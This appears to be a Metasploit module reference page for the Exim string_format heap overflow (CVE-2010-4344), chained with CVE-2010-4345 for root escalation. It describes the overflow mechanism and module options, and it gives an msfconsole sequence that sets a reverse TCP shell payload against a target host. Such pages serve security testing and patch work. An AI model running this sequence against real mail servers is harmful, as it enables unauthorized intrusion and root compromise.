Exim4 <= 4.69 string_format Function Heap Buffer Overflow
This module exploits a heap buffer overflow within versions of Exim prior to version 4.69. By sending a specially crafted message, an attacker can corrupt the heap and execute arbitrary code with the privileges of the Exim daemon. The root cause is that no check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. In order to trigger this issue, we get our message rejected by sending a message that is too large. This will call into log_write to log rejection headers (which is a default configuration setting). After filling the buffer, a long header string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL FROM' command. By sending a second message, the string we sent will be evaluated with 'expand_string' and arbitrary shell commands can be executed. It is likely that this issue could also be exploited using other techniques such as targeting in-band heap management structures, or perhaps even function pointers stored in the heap. However, these techniques would likely be far more platform specific, more complicated, and less reliable. This bug was original found and reported in December 2008, but was not properly handled as a security issue. Therefore, there was a 2 year lag time between when the issue was fixed and when it was discovered being exploited in the wild. At that point, the issue was assigned a CVE and began being addressed by downstream vendors. An additional vulnerability, CVE-2010-4345, was also used in the attack that led to the discovery of danger of this bug. This bug allows a local user to gain root privileges from the Exim user account. If the Perl interpreter is found on the remote system, this module will automatically exploit the secondary bug as well to get root.
Exploit Rank
- Excellent
Exploit Authors
- jduck < jduck [at] metasploit.com >
- hdm < hdm [at] metasploit.com >
Vulnerability References
- CVE-2010-4344
- OSVDB-69685
- BID-45308
- CVE-2010-4345
- BID-45341
- http://seclists.org/oss-sec/2010/q4/311
- http://www.gossamer-threads.com/lists/exim/dev/89477
- http://bugs.exim.org/show_bug.cgi?id=787
- http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/smtp/exim4_string_format
msf exploit(exim4_string_format) > show payloads
msf exploit(exim4_string_format) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(exim4_string_format) > set LHOST [MY IP ADDRESS]
msf exploit(exim4_string_format) > set RHOST [TARGET IP]
msf exploit(exim4_string_format) > exploit
Exploit Module Options
| EHLO_NAME | The name to send in the EHLO |
| MAILFROM | FROM address of the e-mail (default: root@localhost) |
| MAILTO | TO address of the e-mail (default: postmaster@localhost) |
| RHOST | The target address |
| RPORT | The target port (default: 25) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| SkipEscalation | Specify this to skip the root escalation attempt |
| SkipVersionCheck | Specify this to skip the version check |
| SourceAddress | The IP or hostname of this system as the target will resolve it |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
